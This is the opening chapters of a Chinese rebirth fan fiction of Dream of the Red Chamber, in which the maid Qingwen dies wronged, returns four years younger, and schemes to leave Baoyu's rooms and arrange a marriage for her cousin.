《[红楼]春绾晴黛》 1. 春绾晴黛第一回 《[红楼]春绾晴黛》全本免费阅读 冤芙蓉香魂开灵窍,美仙姝慈悲度芳心 凄风刮破了窗纸,冷雨从纸窟窿里飘进来,直浇了一夜。 晴雯躺在芦席土炕上冻得瑟瑟发抖,她连翻身躲雨的力气都没了,任由炕上汪着腥潮浑浊的雨水,浸湿了半扇衾褥。 皲裂的嘴唇艰难张翕着,她委屈地一遍遍喊“娘”,一声短过一声,一声哑过一声,直到再溢不出一个“娘”字…… 表嫂灯芯踩着门槛,只掀起草帘往里瞄了一眼,回头对自家男人多官说:“姑娘横竖就这一晚上的事了,明儿赶早去太太那儿请赏发送。” “知道了。”多官将杯中残酒一仰脖吃了,以手抹嘴道:“我妹子这几年的体己应攒了不少,你记得进园子取出来。” 灯芯挂起草帘,扭身回来,掰着指头数:“不止呐,还有簪环首饰、金银锞子、年节赏赐,少说也有二三百两了。” 她乜斜着眼将丈夫的脖子一抱,笑说:“我有个熟友,他在外头偷生了个龅牙秃发的小子,前儿五更泄死了。他想与咱姑娘配阴婚,许了我十八两银子,两匹布的彩礼,只等你给个准话。” 多官抹了一把脸,一时没敢吱声。 灯姑娘揉了他一把,他才咂摸嘴憨笑:“也罢,让她地下也有个伴,省得孤单寂寞。我夜里还要下厨看灶,你留心瞧着她。” 晴雯听得分明,牙齿咬得咯咯响,枯瘦如柴的手,死死地攥着贴身的袄儿。一口咸痰堵在喉管,一声儿也骂不出来,怄到只有倒气的份儿。挣了半天,只有两行泪簌然而下,被风吹干了,冷冷地黏在腮边。 她在荣国府服侍了宝玉五六年,一向恪尽职守,洁身自好,早把怡红院当成了自个儿家,从未想过离开。才站稳了脚跟,就提携表哥进府做庖厨,平时也常照拂他一二。 眼下她却被人一口咬死,是勾引宝玉的狐狸精,顶了这覆盆之冤,被人灰头土脸地撵逐出来。 而她的好兄嫂,见她失了势又病得不轻,就忘恩负义起来。大夫不给请,茶饭也不送,任由她挺在炕上自生自灭。 如今不但指望吞尽了她的财物,还盼着她早死,希图几两发送银子。甚至还要拿她清白之身,卖给那样不堪的鬼人配冥婚。 不甘心又怎样,受委屈又怎样,她熬不下去,横竖要回去的,没曾想就是到了阴曹地府,也不能求个干净! 可恨这些丧良心的人,不榨干她最后一点血汗和颜面,竟不肯罢休! 晴雯胸膛中腾起的熊熊怒火,随着躯体中最后一点气血的燃尽,也坍塌覆灭,化作毫无生息的灰烬,点点飘散。 耳边的窃笑骤然沉寂,眼前的昏光陷入永夜,晴雯神识涣散,一时没了知觉,随即身轻如云,飘曳在茫茫天际。 是了,她是晴天的云彩,足具冰雪之洁、星月之精,就算是死,也该回到天上去,岂是凡尘秽物染污得了的! 晴雯奋力越过一团团乌云浊雾,再展星眸,但见她停栖之处水雾缥缈香风弥漫,目之所及是朱栏金阶、画栋雕檐,远处琼楼玉宇、神殿仙阁在此间若隐若现,流水潺湲之声若有若无。 正四处观览之时,那边走来两个披蟒腰玉的老公卿,晴雯便想上前问问门路。 她长住荣国府,非是那等羞官怯贵的小丫头。眼下人也死了,更是把尊卑丢过,于是她款款上前向二公福身行礼,话未张口,却被他们的锦靴踢到了清溪边。 捱了这一踢,晴雯在池塘中照了身影才知,自己竟化作了一枝芙蓉花。还未等惊魂失魄的她接受这个事实,茫然若失之下,一时连自己的姓名来历都忘了!唯有一股锥心刺骨的委屈,绵绵不绝,始终萦绕在心头。 芙蓉花不由哀思如潮,呜呜咽咽地哭起来,又听到一位姑娘清音婉转,吟韵而来。 “云掩春光花溅泪,塘横银影客生悲。①” 虽不懂其诵念之意,但这缠绵悲凄之声亦如己心,芙蓉花哭得更伤心了,忽然花枝一颤,已被那姿容绝丽的姑娘拾撷在手。 只听她道:“原来太虚幻境真有娇花泣泪之景,警幻姐姐倒不曾诓我。芙蓉花啊,芙蓉花,你因何落泪,为谁悲伤呢?” 芙蓉花思量半晌,才哽咽道:“我只记得有好些乌云浊雾缠着我。” 那姑娘轻叹一声,抚其花叶,爱怜道:“你生得这样美丽,若为霁彩,必遭乌云嫉恨;若为娇花,难免恶草厌憎,真委屈你了。五浊恶世,婆娑人间,多的是罦罬薋葹,鸠鸩蛊趸②,实在不是个好去处。” 此话正中芙蓉花的心事,不由认她为知己,欣然问:“请教姑娘芳名?我流落到此,不知去路,万望姑娘携带。” 那姑娘淡然一笑:“我名绛珠,原生离恨天外。警幻姐姐今日接我生魂入梦赏游旧景,她又受我的外公与伯外祖深嘱重托,此时在孽海情天内带我表兄观览册籍,规导正路。只是天机不可泄露,等我醒来,也会同你一样,什么都不记得了,又如何携带你?” 芙蓉花一时怏怏,“怨我没福,与仙子只有一面之缘。我既无慧心,又无宿智,无论天下地下,都是忍辱受屈的命。” 绛珠仙子见她自怨自艾,不由心生恻隐,呵气暖她,宽慰道:“表兄曾说我心较比干多一窍,姊妹中也有嫌我多心的,想来凡事过犹不及。我多心则见嫉,你无心也招怨。 天之道,损有余而补不足。不如我送你一窍,开你灵犀一点,如此你得几分机警聪颖,我少几分偏狭多疑,岂不两全其美,各得其所。” 闻言芙蓉花胸中块垒顿消,只恨不能拍手称快,层层花瓣摇颤起来,对绛珠仙子说:“多谢仙子怜念,小花感激不尽,若将来有缘再见,我愿三生结草,报答你的恩情。” “举手之劳不必报了。我造历幻劫,亦有一生偿不尽的恩债要偿,惟有眼泪堪还他罢了。”绛珠仙子回想今昔历历,也不免惘然默立。 2. 春绾晴黛第二回 《[红楼]春绾晴黛》全本免费阅读 温柔乡眠花欺暗室,烈爆炭戳簪骂歪人 “她是我簪鬓之灵,为我所有,岂容冥界下僚造次来犯!”一只莹白素手拈起芙蓉花,转腕簪在了鸦鬓间。 只见绛珠仙子含情目冷,罥烟眉蹙,艴然不悦,慌得牛头马面俯首求恕,低声下气告罪而去。 “呜呜……仙子真真慈悲心肠。”芙蓉花见绛珠仙子为她去而复返,斥退阴差,喜极而泣:“谢仙子慈悲庇护,奴愿终身服侍在您左右,鞠躬尽瘁死而后已。” 绛珠仙子扶了扶鬓间含珠带露的芙蓉花,但笑不语,隐身而去。 “仙子去哪儿?”晴雯惊呼一声,睁眼全然晦暗,也不知自己是梦是醒,是生是死。 她觉得精神好了些,勉力支起身来,点了油灯,又拔下挖耳簪,将灯芯慢慢剔亮。 忽听到帘外传来辗转翻腾之声,夹杂男女缭乱不定的气息。 晴雯身子一颤,不由面红耳赤,气怔怔地坐在炕上。表哥上夜去了,表嫂就敢在家里干这没脸的臭烂营生,真当她是死人了? 那无耻妇人还哼唧:“晴雯那没脑子的爆炭,也敢要我的强,早晚撵这妖蹄子出去。” 晴雯听了火冒三丈,血气蹭蹭涌上心头,霍然下地,攥起挖耳簪,掀帘闯进去。 她冲进去薅到一绺长发,黑灯瞎火的,也不分辨人,扬手就打到那人脸上,打的那女人哎呦一声,惊问是谁。 “是你晴雯姑奶奶!”晴雯厉喝一声,将她头发高高揪起,举了挖耳簪就往她脸上乱戳,口内骂道:“狐媚妖妇,惯会行奸卖俏,成天鼠窃猫偷的,还要这脸何用,不如我替戳烂了,也给你祖宗留点颜面。” 那女人又惊又惧,纵是疼得两眼汪泪,也不敢吱哇乱叫,亦不敢开口求饶,只能一面挣挫躲避,一面捞衣盖身。生怕这烈货闹出大动静,叫老太太、太太知晓了,届时她的脸面名声全完了。 “不得好死的下作东西,巴望着拿我卖钱,还想撵我出去,谁稀罕与你个臭蛆沾边。我若被你害死了,你也别想活了。”晴雯犹自恨骂不休,手上越发使劲儿了。 那男人早被吓得魂飞魄散,半边身子都凉透了,一声不敢言语,胡乱扯了件衣不衣、裙不裙的东西,溜进了里间。 见男人跑了,女人心料还瞒混得过去,方扬声喊:“媚人姐姐快来呀,晴雯失心疯了!” 又听里间衣衫窸窣,似是谁慌忙间失脚跌了一跤,撞倒了脸盆架子,一阵嚯啷乱响。 屋里的丫鬟都被闹醒了,匆忙忙披袄趿鞋,移灯秉烛过来瞧。 直到昏黄的光涌进来,晴雯才看清自己撕打的人不是表嫂灯芯,竟是袭人!原来做下丑事的是宝玉与她两个。 晴雯倒退着走了两步,才发觉周遭的一切都不对头。屋内精美奢华的陈设她都无比熟悉,正因为司空见惯,摸黑行走也毫无阻滞,一时掩盖了许多不寻常的地方。 她不是被王夫人撵了出去,死在表哥家中?怎么又回到了贾府绛芸轩?难不成我阴魂不散,作了恋世不舍的野鬼? 晴雯心中骇浪涛涛,愕然呆立。 袭人原本惊惶忐忑,此时没见到李嬷嬷等人进来,又松了一口气。她骤生急智,将身蜷在被中,对媚人、秋纹道:“你们快去里间看看宝玉有没有事。” 二人忙掀帘进去,袭人趁机穿好裤袄,掀被起来。趁丫鬟们忙着伺候宝玉沐浴换衣的时候,她将宝玉的衣裳偷摸一卷,往箱子里一塞。 众丫鬟生恐宝玉这颗凤凰蛋磕到碰坏,四处找跌打药酒,又担心他身上浇了冷水着凉伤风,硬喂他喝了半碗老姜汤。 等事情差不多消停了,嬷嬷们才挑灯进来探问出了什么事,袭人给嬷嬷们倒了茶,搪塞道:“也没什么大事,二爷做了噩梦,要打夜叉星,推倒了脸盆架,闹得我们不安生,这会子才睡了。” 李嬷嬷四下探望了一眼,见宝玉无恙,念了几句夜惊郎的咒,嘱咐了两句,也就回去困觉了。 见打发了嬷嬷们,袭人悬着的心落下去了一半。神天菩萨,方才活被晴雯那小蹄子给吓死了。 “到底怎么了,大半夜的闹这一出?” 晴雯抬眸一瞧来人,纤腰瘦颈,鹅蛋脸面,穿着梅红袄儿,洋缎褙子,栗色棉裤。 正是多年未见的媚人,她不是早被开恩放了出去么? 袭人知道,绛芸轩中媚人年纪最长,行事稳重,心思缜密,深得老太太、太太的信重,她虽得了宝玉一夜之宠,到底情分浅,暂时还不敢与之争锋。 她才从嬷嬷手底下超生,唯恐晴雯那蹄子说出什么不中听的来,赶忙低声下气地圆谎:“媚人姐姐,这原是我的不是,今儿服侍二爷去东府赏梅,回来时我冲撞了晴雯,她心里存了气,夜里就犯了癔症,拉着我胡骂起来,闹得厉害,把咱小爷给惊着了。” 媚人不大信,她服侍宝玉躺下时,摸到架子床上的衾褥都是冷的,此时见袭人大冷天的双颊红肿,脸上还有星星斑点,难免心中有疑。 于是她摇了摇晴雯的手问,“果真如此?” 晴雯目光怔怔的,也不理她,见灯下人影绰绰,自己的影子也在其中,突然去拨转紫檀板壁中的穿衣镜,照望自己的身形。 昏黄的烛光下,镜中的少女鬓乱钗横,襟开带垂,一双凤眼迷惘至极,粉面尤残睡痕,是她又不是此时的她。 她已经十七了,而镜中之影身量尚小,不过豆蔻之龄。 晴雯拨开腮边乱发,仔细瞧了瞧自己的手脸,确实是整个小了一圈。转眼看窗前花几上,几簇红梅还插在琉璃瓶中,一个不可思议的念头从心尖闪过,惊得她浑身战栗起来。 这琉璃瓶原是东府蓉大奶奶的陪嫁摆件,四年前宝玉去东府赏梅,蓉大奶奶见宝玉喜欢这琉璃瓶,就折了两支红梅插瓶叫人送了过来。 后来这琉璃瓶就碎了,没过几天蓉大奶奶也没了,宝玉还莫名吐了一口血。事后回想起来,宝玉还感慨说,这是琉璃易碎,红颜命薄的兆应。 如今琉璃瓶和红梅都在,难不成她活生生地回到了四年前? 晴雯这边惊魂未定,一只手覆上了她的额头。 只见媚人一脸担忧地望着她,疑惑道:“也没发热呀,怎么迷迷瞪瞪的。” 晴雯心中砰砰直跳,彻底清醒过来,自嘲地笑了笑,“我睡迷糊了,还以为自己变成了个屈死鬼,竟把袭人姐姐当狐媚子打了,想来也是可笑。”顺口默认了袭人的谎言。 比起撞见宝玉和袭人偷鸡摸狗的破事,她这个死鬼重生才真骇人听闻。 袭人紧绷的心弦彻底松懈下来,腹诽道:“晴雯的木脑子没开窍,我就说她怎么敢三更半夜撞 3. 春绾晴黛第三回 《[红楼]春绾晴黛》全本免费阅读 听歹意权衡谋出路,贪蝇利纵容隙可乘 荣国府里比宝玉权高势大的主子,无非就是老太太、老爷、太太以及琏二爷夫妻两个。 晴雯是老太太送给宝玉使唤的人,没有十分必要的理由,估计也很难再回到老太太身边去。 王夫人最厌的就是她这样妖妖俏俏的丫头,更是不能去了。爷们儿身边的丫鬟,无论老的少的,晴雯是半点也不想当了。至于赫赫扬扬的管家人王熙凤,并不是个好伺候的主。 一则凤姐待下严苛,手段狠辣,而自己性子要强,未必能讨得巧。二则凤姐也是有名的醋缸老婆,琏二爷又是个风流人物,自己容貌出挑,若惹琏二爷垂涎,必遭凤姐忌惮,最后小命都有可能不保。晴雯连连摇头,立刻否决了去王熙凤身边伺候的想法。 剩下的就是府里三位姑娘身边大丫头的位置了。只是一个萝卜一个坑,全都占满了。她不是家生子,一无根基,二无靠山,又哪有她栖身立足的地方。 思及此,晴雯幽幽叹了口气,想起梦中可亲可敬的仙子,怨自己想起了自己的名,却记不起她的圣号和模样来。只恨自己不能做仙子的丫头,远离那些伤害自己的黑心烂人。 一时想不到要依傍哪个好主子,晴雯头倒枕上,郁郁睡去。原想在梦中再见一眼仙子的圣面,哪知一夜好眠,无梦到清晨。 初冬的早上,天气渐冷起来,晴雯心中大事未定,未免烦虑。想来自己前生被容色所误,再不肯涂脂抹粉,妆饰自己。索性连钗簪耳环也不戴了,只将长发打了一对垂联辫子,挂在左右耳边,全作双环髻了。 给宝玉研墨写字的事,她也懒怠做了,自有机灵的会往前凑。袭人窝在屋里养面伤,茜雪就替她的职,随侍宝玉去东府。 晴雯则主动领了个远差,上二门找宝玉的小厮茗烟,把宝玉上学要穿的大毛衣服和手炉的炭交给他。 从前她不大出屋子,上二门传话这种事都是袭人来做。如今她起念头要另择明主,自然要多动腿脚,多听消息。 抱着包袱过了穿堂,到了厨房门口,抬头忽见她表哥多官端着一碟豆腐皮包子,正偷摸往外送。 晴雯柳眉蹙起,冷笑道:“表哥这是要给我那好嫂子送东西呢,也不知她正在哪锅哪灶上偷吃呢。” 想起要卖了她给人配阴婚的狠兄恶嫂,她哪能有好脸色。 多官见迎面来的是她妹子,先惊后喜,狗颠儿似的凑上来,嘻嘻笑道:“妹子也说起顽话来了,你哪来的嫂子。这不是记挂着你爱吃,特意给你留的么。你来得正好。” 晴雯这才恍悟,表哥如今还是个光棍,不过明年开春,府里一批年纪大了的丫鬟小厮都配成了房。多官也在其列,之后便娶了灯芯姑娘做婆娘。 “确是正好!”晴雯心头微喜,随声附和起来,又仰脸仔细打量了表哥一番。 多官二十有五了,精神头足,颇有力气,专能庖宰之事,做工利落,很受灶上管事的器用。 只是后来灯芯配了他,他安泰日子过久了,就开始贪杯吃死酒,既不顾惜性命,又不拘束老婆,成了人嫌狗厌的醉泥鳅多浑虫。 想起上辈子死前的落魄凄凉,也有一半是因兄嫂怠慢所误,晴雯原不想与表哥多来往,恨不能就此断亲。转念一想,万一这辈子不能挪去别处,又被人捏了错撵出去,只怕没亲戚照拂,连个落脚的地方都没有。 说到底,这个表兄还得在府里,多少算她的帮衬。晴雯望着表哥尚且清明的眼眸,心下有了计较。 她要给表哥寻一门好亲,找个贤惠嫂嫂管束扶携他,再不要过醉生梦死的糊涂日子,远离那些个腌臜烂货。 心里有了盼头,晴雯也想与表哥重归于好,不客气地拿起包子就吃。这豆皮卷在油中过了一遍,香酥薄透,滑腻有嚼劲,里头包的是喷香的蘑菇冬笋炒鸡脯丁,好久没吃到这个味道了,晴雯吃得口齿留香,津津有味,想起死前饥寒交迫的经历,蓦然红了眼圈。 这饫甘餍美频开小灶的时候,还能过多久呢?这府里看着千好万好,到底是吃人不吐骨头的地方,一着不慎,她就又可能被打落地狱去了。 多官见他妹子头上光光,往日金灿灿的簪环都不见了,此时吃个包子,更像是要掉眼泪的样子,不由担心道:“妹子可是在宝二爷房里受了委屈?” 晴雯这才意识到自己失态了,吸了吸鼻子说:“没有的事。” “你可别瞒我。”多官四顾左右,见没人在,才说:“若真有事,你告诉哥,哥给你出头。我虽不能打他一顿,在他饭菜里拌鸡屎总行的。” 晴雯噗嗤一笑,啐道:“呸,哥哥可别干这没品的事,小心灶王爷让你没饭吃。” 多官见表妹笑了,还知道教训自己,想来以她要强的性子也不大会受欺负,也就安心了。 晴雯别过表哥,在府中逛了大半日,直到下午人少的时候,才上二门把宝玉的东西交付给了茗烟。回头恰碰上灯芯姑娘剔着牙,跟几个小厮隔着月洞门彼此嘲戏,说着嫁谁不嫁谁的荤话,晴雯不由翻了个白眼,在心里暗啐了一口。 这时耳边忽然冒出个涎馋欲滴的声音来。 “晴雯今儿怎么素起脸来了,往常浓妆艳饰的,好个俏模样,直把人馋得心痒肝颤,只恨她是老太太的人,又有二爷时刻惦记着,不能圈哄上手。” 听了茗烟这一番心思,差点没把晴雯给恶心吐了,若不是不想在人前发癫,她早一耳刮子给扇过去了。从前她只觉得宝玉爱在脂粉阵里闹,是单纯地疼惜女孩儿,如今他也干起了偎红倚翠的龌龊事来,只怕少不了茗烟这个坏胚子蛊惑挑唆的。 这绛芸轩是千万待不得了。 外面下了半日雪珠,晴雯虽然身上冷,可又不想回绛芸轩,与袭人抬头不见低头见的。漫无目的地走了一路,却见林姑娘披了大红羽缎对衿褂子,带着几个丫鬟嬷嬷转弯向北,往梨香院去了,想是去探薛姑娘的病。 不知不觉地,晴雯也跟着往那边走了。说起来,荣国府里的小姐主子,除了贾家的三位姑娘,还住了史姑娘、林姑娘、薛姑娘三位表姑娘。 史姑娘是贾母的侄孙女,每年只来贾府串亲几日,并不长住,她明天就要回家去了,正与丫鬟翠缕打点包袱。 林姑娘是老太太的亲外孙,来贾府也有五年了,还住在老太太的院子里,可见老太太是真心 4. 春绾情黛第四回 《[红楼]春绾晴黛》全本免费阅读 蒙开恩妮婢独彷徨,竞佳偶雌雄双徘徊 上辈子宝玉在梨香院喝得酩酊大醉,回到绛芸轩,因为见枫露茶被李嬷嬷喝了,勃然大怒摔了茶杯。正是这一遭让茜雪无辜受累,被撵了出去。 想起这些闲茶浪酒惹的祸,晴雯急忙往绛芸轩赶。 袭人因为脸上还肿着,不愿见人,早早地渥在里间炕上了,听见晴雯回来,犹且心虚,背着她说:“桌上的豆腐皮包子,是二爷特意留给你吃的。” 知道豆腐皮包子还在,晴雯庆幸地松了一口气,嘻嘻笑了起来。 袭人以为她心里欢喜,不由腹诽道:“晴雯这蠢包还傻乐,真当二爷宠她呢,这包子是为堵她的嘴才送的。” 晴雯才端起豆腐皮包子,听到这么一句埋汰她的话,心里哪能不气,却也没有了反驳袭人的冲动。二爷宠不宠她,她又不在意,争赢了又有什么意思。 她招呼小红几个三等丫鬟过来,将包子分给她们吃了。又将潗好的枫露茶偷偷藏好,再把茉莉花取了一撮,泡了喷香四溢的一杯,放在桌上,等着李嬷嬷来讨。 自从上辈子李嬷嬷被辞了,媚人、绮霰、檀云几个年长的丫鬟陆续都放出去了,绛芸轩中就只有袭人一家独大了。 李嬷嬷这人居功自傲,嘴碎爱贪小便宜,倚老卖老,常常不把主子放在眼里,极讨人嫌。但是有她在一日,袭人就怕一日,至少勾引宝玉的事,总会收敛几分。 果不其然,赶在宝玉回来之前,李嬷嬷醉醺醺地来了,晴雯又是捧好茶,又是送糕点,只把她老人家哄舒服了,安生送了出去。 等媚人、茜雪扶着宝玉醉眼乜斜地回来,豆腐皮包子有了交代,枫露茶也还在。晴雯暗自保了茜雪、李嬷嬷一回,但不知保不保得住下次。 只是宝玉写的绛芸轩三个字没人贴,林姑娘也没来看,宝玉白嘟囔了几句,又把宝姐姐有个金锁上的八个字与自己的是一对,当成稀奇事说了。 晴雯不由与媚人对视一眼,这个呆小爷到底是入了人家的毂了。 今晚不是媚人、晴雯值夜,晴雯便去找媚人姐姐说话。绛芸轩的丫鬟,只要不做宝玉的通房姨娘,不被撵出去。年纪到了,得脸的丫鬟都是可以不要身价银子,开恩放出去的。 这原是晴雯看不上的好处,如今倒能视为一条退路,好好思量一番了。原本老太太有意安排她将来做宝玉的妾,毕竟还没明公正道地说出来,她也就全作不知,安分守己地做丫鬟。 以为全凭老太太做主,宝玉身边总有她的位置,哪知一个人只要当行出色、容貌过人,纵然不争不抢,与物无竞,也总有人视你为敌,妄想使手段取而代之。 死过一回她才知道,自己从未认清现实的残酷,以前的她不过是得过且过,混日子罢了。 晴雯进了媚人的耳房,只见她披着短袄,坐在炕几前,望着手里的包袱发呆,不由笑道:“哟,姐姐归心似箭,这么早就收拾好行李了,我还想求二爷,留你过了年再走。” 媚人淡淡一笑,挪开包袱,让晴雯炕上坐,说:“不用再伺候人,终归是桩好事。” 可事实上,媚人并不是这样想的。 “晴雯哪里知道,我一点儿也不想走。我是从义忠王府出来的,又是在义忠王世子书房伺候的丫鬟,被转卖到贾府来。即便脱籍出去了,我那个读书的堂哥,怕这上面有牵扯,已经写信拒绝收留我了。” 听到媚人心声,晴雯蓦然一惊,没曾想她还有这个来历,斟酌了言辞,方宽慰她道:“姐姐识文断字,人又贤惠美丽。以前二爷还夸姐姐姱容修态,说什么‘叠浪远山描浅黛,媚人明月趁清秋’①。以姐姐的品貌,聘到外头做举人娘子都使得。” “宝二爷说的,你倒是记得清楚。我告诉你,鲜花虽媚人,不得几时好。”媚人拿出着针黹盒里的红纸,折起来剪窗花,叹息道:“前儿太太还有个穷亲戚来打秋风。你不知道外面如今是什么世道,水旱连年,盗贼蜂起,只怕嫁了再好的人,也没两年太平日子过了。” 晴雯不由想起那个丢乖卖丑的刘姥姥,起先还想笑的,之后就笑不出来了。就算她能安安稳稳做宝玉一辈子的丫鬟,等到色衰人老,形如刘姥姥的时候,宝玉那个爱俏的,还能待她亲厚如昔吗? 两人各怀心事,默默对坐了一会儿,晴雯起身告辞,走到门口,忽然听到媚人心中的哀苦之音。 “情见势屈,我被薛大姑娘认出来了,一旦踏出贾府,只怕没活路了。” 这还是晴雯第一次听到,除了自己名字之外的“情”字音,竟是这样骇人听闻的话。 晴雯不由回头,问媚人:“姐姐可是有什么难处?” 她满腹狐疑,宝姑娘与媚人之间有什么利害关系,竟能牵扯到生死? “我能有什么难处,横竖出去就找个男人嫁了,只怕外头的男人,还不及府中的小厮可靠。至少在府里还有太太、奶奶们管管闲,不至太糟污。”媚人摇摇头,自嘲地笑了笑。 晴雯听她这意思,竟是不愿出去,想配府里的小厮,不由想起了自己的表哥多官。 只是媚人的性情容色样样出挑,差不多的小姐主子都还比不上她呢。而她哥哥庸常粗人,大字不识一个,实不堪配,提一句没得玷辱了人家,于是打消了这个念头。回到自己的住处,晴雯睡不着,又在灯下做了半夜的针线。 第二天一早,宝玉要去上学,袭人催了他半晌,他还不忘唠唠叨叨地嘱咐晴雯,什么浇花喂雀的细事。 晴雯懒得理他,胡乱应声,又对袭人说:“你脸还肿着呢,我去找平姑娘支领针线。” 见晴雯又戳自己痛脚,袭人心中着恼,还要佯装大度,不好反驳,只得由她去了。 晴雯记得前几日宝玉、凤姐去宁国府祝寿,宝玉还说凤姐打算这几日就给府里大了的丫鬟配人的事。她想趁领针线的由头,先去找凤姐的心腹平儿,说一说她哥哥的事,至少不要再把臭灯芯塞给他做老婆。 晴雯揣着两样针线,走到凤姐屋子前,却瞧见瑞大爷喜不自禁地从里头走出来,一路攀花折叶,乐得发癫。 只听他 5. 春绾晴黛第五回 《[红楼]春绾晴黛》全本免费阅读 憨表兄撞运得美眷,浪灯芯恨嫁勾错郎 凤姐收了晴雯的礼,将锦绣腰带往裙上一围,果真精致绝伦,瓜瓞绵绵的寓意又好,正撞进她心坎上:“我月信迟了几日,但愿应了这个吉兆。晴雯这丫头倒是生乖了。”平儿见凤姐欢喜,又把灯芯的糟心事说了。 起初凤姐只当个笑话听,派了个小丫头去打听了,才知道府里还有灯姑娘这么一号风流人物。 “真是这林子大了,什么鸟都有,我只知有死喂不饱的饥汉,谁知竟还无腥不沾的饿女。东西两府大半男人都被她考验过,那些人互相遮瞒,彼此隐匿,怪不得没一个举告她的。” 凤姐也是大开了眼,正想着要怎么撵她出去,不叫外人看笑话,又想起贾瑞那厮来。于是招招手叫平儿过来,耳语道:“你叫人透个风给那灯姑娘,就说琏二爷今晚起更时在西穿堂小酌。” 平儿会意,这是要拿灯芯的卯去接贾瑞的榫,如此一箭双雕,一石二鸟。既铲除了贾瑞这块牛皮糖,又踢走了灯芯那个骚蹄子。 晚饭过后,就有个才总角的小厮透了风给灯姑娘。灯姑娘忙不迭地浓妆艳抹起来,恨不能眨眼就飞至西穿堂。 贾瑞在穿堂中捱磨了小半个时辰,等得心焦火燎,急不可耐,正当他以为自己被凤姐耍了的时候。门外冷风飒飒,飘来一个人影,环佩叮当,香风四溢。 “我的好人,你可算来了。”贾瑞料定来人是凤姐,饿虎扑食一般蹿跳过去…… 半个时辰后,屋外灯光骤亮,只见林之孝家的打前头挑着灯,领着一众膀大腰圆的婆子涌了进来,诸婆子厉声喝骂,举棍就打。 “哟,这是瑞大爷不是?”林之孝家的尖声叫嚷起来。 贾瑞骇得浑身打摆子,又臊得无地可入,乍见炕上之人蓬头乱发,非是凤姐,惊惧之下遗了一滩尿出来。 灯芯嫌弃地努了努嘴,见与自己相亲的是贾瑞这个孬货,虽不满意,倒也不觉吃了亏。如今被人明光瓦亮地照了个正着,她也脱不了身,只能死赖着他。贾瑞虽只是贾府外四路的爷们,到底在义学当着职,若跟了他也算上配了。 贾瑞试图翻窗逃跑,被灯芯一把揪住他,喊道:“别走哇,大爷占了奴的身子,总得给个交代。” “少啰唣,凭你们到老爷太太面前要交代。”林之孝家的得了凤姐的指示,带着婆娘呼呼喝喝的,先将二人分别捆了,一个塞马圈,一个锁柴房,等明儿一早回了太太再处置。 毕竟纸包不住火,这是想遮瞒贾政、王夫人也是不能了。因贾瑞做下丑事被人抓个正着,墙倒众人推,连带着顽童大闹学堂的事也捅了出来。 贾政气得黄了脸,发了好一通脾气,原在贾家义塾中司塾的贾代儒,因嫡孙贾瑞之故,也不得不负疚请辞,带着贾瑞躲去乡下田庄,从此耕读为生。 贾瑞原无纳妾的资格,灯姑娘倒是因错得福,脱了奴籍,嫁了贾瑞做正头娘子。 凤姐乐得把这对“卧龙凤雏”给赶出去,只把丑事喜办,连灯芯的身价银子都免了,美名其曰给她补贴嫁妆罢了。 从前灯芯姑娘的一干好友,甚多眷恋不舍的,还凑了些彩帛钱粮,挑箱提担地给她送嫁。茗烟也因在学堂里闹事,被贾政罚去了圊厕行担了一个月的粪。 晴雯得知此事,大乐了三天。 只是义塾因此停摆,在聘到好先生前,贾宝玉得在绛芸轩温书。只是他的心哪还在书上,不是淘漉他的胭脂膏子,就是与小丫头们笑闹,早把书本扔到爪哇国去了。 冬至过后,平儿亲自过来给绛芸轩的丫头们发月钱和冬衣,又借口找晴雯要个花样子,将她拉到耳房说悄悄话。 “上次你托我的事,我帮你看了,你知道的老太太、太太屋里那些拔尖的,都被管家爷们、账房银库的挑走了。我现挑了两个实在人,你瞧瞧如何。一个是针线房的翠云,你见过的,高挑个儿,嘴笨心实,手艺不错会过日子。一个是茶房的喜燕,前儿还替袭人煎药来着,小圆脸儿,憨厚质朴,手脚勤快。” 晴雯仔细听了,都不大满意,直说:“且不论模样性情,这两个都心拙口夯的,胆子又小,哪里管得了我哥哥。” 平儿摇头一笑,伸手在她额上一戳:“温柔和顺的你不要,还想要个厉害的罗刹不成。” “好姐姐,你再费心帮我挑一挑,我要那种外柔内刚,明白事理,能辖治我哥哥,让他滴酒不沾的好嫂嫂。”晴雯又拖着平儿的手撒娇耍痴起来,还不忘承诺,“往后你房里要什么鞋袜荷包,只管托我就是了。” “好姑娘,不是我不愿劳心,只是这样人品出众的人,早被人求走了,剩下的都在你们屋里呢。像媚人就不错,可惜人家要还籍家去了。”平儿颇感无奈。 晴雯也点头道:“我也觉得媚人姐姐极好,可惜了我哥哥人粗笨少见识,实在高攀不上。” 正左右为难之际,忽见门帘被人掀开,来人正是媚人。 晴雯知道她多半听到了,不及躲闪,咬着唇愧红了脸。 平儿正想描补两句掩饰一二,却听媚人说:“你们说的话,我无心听了两句。若晴雯妹妹真看得起我,我心里也愿意做你的嫂子……”媚人话将出口,忙偏过身子,自悔说得冒状了,两手敷在脸上,羞怯不已。 晴雯见了哪还有不懂的,两下从炕上跳下:“姐姐说的可是真的!”她揽着媚人的胳膊,求个分明准话:“你真愿意做我嫂嫂?” 媚人抬头看了平儿一眼,转眸对晴雯说:“只要你不嫌弃就好。” 平儿意味深长地笑了笑,倒是松了一口气,拉着两人的手,说:“我今儿算是走路被元宝绊了跤的,这样的好事,好巧不巧。既这么说定了,你们姑嫂两个要给我多少媒谢钱呐?” 晴雯娇憨不语,媚人屈膝一礼,也不扭捏了,大方笑道:“等开春我们成了家,自然请平姑娘坐首席的。” “那我可就恭候了。”平儿笑着说,转念一想,这绛芸轩不比别处,又多嘱咐了一句:“只是事情先别对宝玉说,你拒了他的恩典,也就辜负了他的心。改明 6. 春绾晴黛第六回 《[红楼]春绾晴黛》全本免费阅读 冷玉环俏语隐深意,病西子芳姿施柔情 媚人心里咯噔一跳,薛姨妈这话好生阴险,这是生生要把她往虎口里送。 原以为在贾母跟前,薛家人只会装作不认识她,却没想到她们已经摁捺不住,要向她下手了。 “难为姨太太细心为凤丫头着想,她粗枝大叶的,哪里想得到这些事,全靠平儿替她周旋。只是心粗之人也有可疼的地方,不像有的人心尖得惹人厌。”贾母不至于老糊涂,转头看了鸳鸯一眼。 鸳鸯会意,笑嘻嘻地对薛家母女说:“老太太说了这么久的话,人也乏了,该歇中觉了。请姨太太、宝姑娘到别处逛逛吧。” 她一个丫鬟都看出薛姨妈这话说得着实欠妥,媚人是宝玉房里的人,怎么能送到堂兄屋里去,而况眼下正是凤姐矜贵得意的时候,谁会干这么讨嫌的事。 宝钗也知母亲一见到媚人,方寸大乱说错了话,默默地扶着她走了出来。 母女二人拐过廊下,薛姨妈的脚就软了,摸到美人靠上坐了,抹着眼泪说:“她怎么就到贾府了呢?” 